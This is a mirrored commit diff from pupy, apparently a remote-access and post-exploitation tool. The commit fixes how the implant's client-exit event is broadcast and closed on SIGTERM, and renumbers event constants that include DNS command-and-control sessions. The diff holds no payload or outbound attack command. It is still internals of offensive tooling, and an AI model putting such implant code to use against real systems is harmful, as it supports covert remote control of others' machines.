mirror of https://github.com/n1nj4sec/pupy.git
event: client_exit: bugfixes
This commit is contained in:
parent
263afbba63
commit
196682dfda
10
pupy/pp.py
10
pupy/pp.py
|
@ -145,13 +145,17 @@ if not sys.platform == 'win32' and not pupy.pseudo:
|
|||
|
||||
def defered_close_exit(connection):
|
||||
try:
|
||||
broadcast_event(0x20000000 | 0xFFFF)
|
||||
# Should be the custom event, as generated on client
|
||||
broadcast_event(0x10000000 | 0xFFFF)
|
||||
except Exception, e:
|
||||
logger.exception(e)
|
||||
|
||||
logger.debug('Defered close+exit')
|
||||
|
||||
sys.terminated = True
|
||||
connection.close()
|
||||
|
||||
if connection:
|
||||
connection.close()
|
||||
|
||||
def broadcast_event(eventid):
|
||||
if pupy.connection:
|
||||
|
@ -757,7 +761,7 @@ def handle_sigterm(signal, frame):
|
|||
defered_close_exit,
|
||||
pupy.connection)
|
||||
else:
|
||||
sys.terminated = True
|
||||
defered_close_exit(None)
|
||||
|
||||
logger.warning('SIGTERM HANDLED')
|
||||
|
||||
|
|
|
@ -33,7 +33,7 @@ ON_CONNECT = CLIENT | 0
|
|||
ON_DISCONNECT = CLIENT | 1
|
||||
ON_JOB_EXIT = CLIENT | 2
|
||||
|
||||
ON_CLIENT_EXIT = CLIENT | 0xFFFF
|
||||
ON_CLIENT_EXIT = CUSTOM | 0xFFFF
|
||||
|
||||
ON_DNSCNC_SESSION = DNSCNC | 0
|
||||
ON_DNSCNC_SESSION_LOST = DNSCNC | 1
|
||||
|
|
Loading…
Reference in New Issue